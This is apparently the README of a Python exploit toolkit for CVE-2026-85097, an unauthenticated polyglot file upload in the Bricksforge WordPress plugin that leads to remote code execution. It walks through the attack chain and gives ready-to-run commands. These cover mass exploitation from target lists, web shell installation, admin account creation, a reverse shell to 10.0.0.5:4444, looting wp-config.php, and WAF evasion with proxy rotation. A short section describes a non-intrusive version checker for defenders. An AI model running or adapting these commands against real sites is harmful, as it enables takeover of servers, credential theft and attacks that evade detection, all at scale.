
مجموعة أدوات Python لـ CVE-2026-85097: تستغل رفع الملفات غير المصادق عليه في Bricksforge WordPress للوصول إلى RCE عبر حمولات polyglot، بالإضافة إلى ماسح اكتشاف الإصدار غير التدخلي.

CVSS 10.0
مجموعة أدوات الاستغلال وماسح الكشف الآمن
لاختبارات الأمان المصرح بها فقط.
CVE-2026-85097 هي ثغرة حرجة من نوع رفع ملفات عشوائي غير مصادق عليه في إضافة Bricksforge لـ WordPress (الإصدارات 3.1.8.9 وما دون). تتيح للمهاجمين عن بُعد تجاوز التحقق من نوع MIME ورفع ملفات PHP يتحكم بها المهاجم إلى دليل uploads، مما يؤدي إلى تنفيذ التعليمات البرمجية عن بُعد بصلاحيات مستخدم خادم الويب.
استرداد Nonce: يتم تسجيل إجراء AJAX باسم bricksforge_regenerate_nonce عبر wp_ajax_nopriv_، مما يسمح للمهاجمين غير المصادق عليهم بالحصول على nonce صالح لـ REST.
رفع Polyglot: تتحقق نقطة نهاية REST باسم form_file_upload من نوع MIME للملف المرفوع. يمر ملف polyglot (ترويسة PNG/GIF صالحة متبوعة بكود PHP) عبر هذا الفحص.
الثقة بالبيانات الوصفية: أثناء إرسال النموذج، تثق الإضافة بالبيانات الوصفية المقدمة من العميل في المعامل temporaryFileUploads. يشير الحقل file إلى ملف polyglot الذي تم التحقق منه، بينما يحتوي الحقل url على اسم الملف الذي اختاره المهاجم (بما في ذلك امتداد .php).
تنفيذ PHP: تستخدم نقطة الوصول copy() في الإضافة قيمة url المقدمة من المهاجم حرفيًا كاسم ملف الوجهة. يُعاد تسمية ملف polyglot إلى .php داخل wp-content/uploads/YYYY/MM/ ويُنفَّذ عند الوصول إليه.
| السمة | القيمة |
|---|---|
| [>] تاريخ الاكتشاف | أكتوبر 2026 (Patchstack) |
| [>] درجة CVSS | 10.0 (حرجة) |
| [>] CWE | CWE-434 (رفع غير مقيّد لملف من نوع خطير) |
| [>] الإضافة المتأثرة | Bricksforge (وحدة Pro Forms) |
| [>] الإصدارات المتأثرة | 3.1.8.9 وما دون |
| [>] الإصدار المُصلَح | 3.1.8.10 |
| [>] المصادقة | غير مطلوبة (قبل المصادقة) |
| [>] الاستغلال النشط | مؤكد في البرية (أكتوبر 2026) |
تسلسل مجموعة أدوات الاستغلال استرداد nonce، ورفع polyglot، والتلاعب بالبيانات الوصفية، وتنفيذ PHP في سير عمل آلي واحد، مع ميزات متقدمة للمسح الجماعي، وأمن العمليات (OPSEC)، وما بعد الاستغلال.
| الميزة | الوصف |
|---|---|
| [+] سلسلة الهجوم الكاملة | استرداد nonce، رفع polyglot، إرسال النموذج، التحقق من shell |
| [+] حمولات Polyglot | متغيرات chunk tEXt في PNG وامتداد تعليق GIF |
| [+] المسح الجماعي | مسح متزامن باستخدام thread pool |
| [+] ما بعد الاستغلال | تثبيت web shell، إنشاء مستخدم admin، reverse shell، سحب الملفات |
| [+] تنفيذ الأوامر | تشغيل أوامر عشوائية على shells مؤكدة |
| [+] الكشف الآمن | ماسح منفصل غير تدخلي (safechecker.py) |
| [+] تجاوز WAF | انتحال الترويسات، تدوير User-Agent، ترميز الامتدادات |
| [+] دعم Proxy | SOCKS5 وSOCKS4 وHTTP proxies مع استراتيجيات تدوير |
| [+] تنسيقات إخراج متعددة | JSON، CSV، HTML، JSONL، SQLite |
| [+] آمن للخيوط (Thread-Safe) | يستخدم آليات قفل للعمليات المتزامنة |
| [+] تحديد المعدل | محدد معدل عالمي مع jitter وتأخير |
| [+] متعدد المنصات | يدعم Linux وmacOS وBSD وWSL |
| المرحلة | الوصف |
|---|---|
nonce | استرداد nonce صالح لـ REST عبر إجراء AJAX غير المصادق عليه |
upload | رفع PNG/GIF polyglot يجتاز التحقق من MIME |
submit | إرسال النموذج مع بيانات وصفية تشير إلى polyglot ورابط .php |
verify | الوصول إلى shell المرفوع وتأكيد تنفيذ الأوامر |
exploit | تثبيت web shell، إنشاء admin، تفعيل reverse shell، سحب الملفات |
يقوم المدقق الآمن (safechecker.py) بإجراء كشف غير تدخلي عن الثغرات دون رفع حمولات أو إرسال نماذج أو تعديل الهدف.
| الميزة | الوصف |
|---|---|
| [+] كشف WordPress | يحدد نسخ WordPress عبر أنماط متعددة |
| [+] كشف الإضافة | يؤكد وجود Bricksforge عبر HTML والملفات الثابتة |
| [+] كشف الإصدار | يكتشف إصدارات محددة من الإضافة |
| [+] فحص مسارات REST | يعدّد نقاط نهاية REST المكشوفة في Bricksforge |
| [+] فحص نقطة نهاية nonce | فحص اختياري لنقطة نهاية nonce (--probe-nonce) |
| [+] فحص سجل التصحيح | يفحص wp-content/debug.log بحثًا عن آثار الإضافة |
| [+] غير تدخلي | يحدد فقط الإصدارات المعرضة للخطر ونقاط النهاية المكشوفة |
| [+] إخراج JSON/CSV/SQL/JSONL | تصدير النتائج لإعداد التقارير |
| [+] المسح الجماعي | مسح أهداف متعددة مع دعم threading |
pip (لمكتبة requests)pip install requests urllib3
git clone https://github.com/tc4dy/CVE-2026-85097-Toolkit.git
cd CVE-2026-85097-Toolkit
python3 exploit.py
#or
python3 safechecker.py
exploit.py)# Single target exploit
python3 exploit.py -u https://target.com --exploit
# Exploit with custom command
python3 exploit.py -u https://target.com --exploit --cmd "id; uname -a"
# Mass scanning from file with 20 threads
python3 exploit.py -f targets.txt --exploit -t 20 -o results.json
# Install web shell after successful exploit
python3 exploit.py -u https://target.com --exploit --webshell
# Create admin user via RCE
python3 exploit.py -u https://target.com --exploit --create-admin "sysadmin:Str0ng!Pass"
# Trigger reverse shell
python3 exploit.py -u https://target.com --exploit --reverse-shell "10.0.0.5:4444"
# Loot wp-config.php and other files
python3 exploit.py -u https://target.com --exploit --loot
# Proxy with rotation
python3 exploit.py -f targets.txt --proxy-list proxies.txt --proxy-rotate round-robin
# Jitter and rate limiting
python3 exploit.py -f targets.txt --jitter --jitter-range 0.5,3.0 --rate-limit 5
# Custom User-Agent and insecure TLS
python3 exploit.py -u https://target.com --user-agent "CustomBot/1.0" --insecure
# Output to SQLite
python3 exploit.py -f targets.txt --output results.json --db scan.db
# Quiet mode
python3 exploit.py -f targets.txt --exploit -q
safechecker.py)# Single target safe check
python3 safechecker.py -u https://target.com
# Mass scanning with output
python3 safechecker.py -f targets.txt -t 20 -o scan.csv
# Enable active nonce endpoint probe
python3 safechecker.py -f targets.txt --probe-nonce
# Proxy support
python3 safechecker.py -f targets.txt --proxy-list proxies.txt
# JSON report
python3 safechecker.py -f targets.txt -o report.json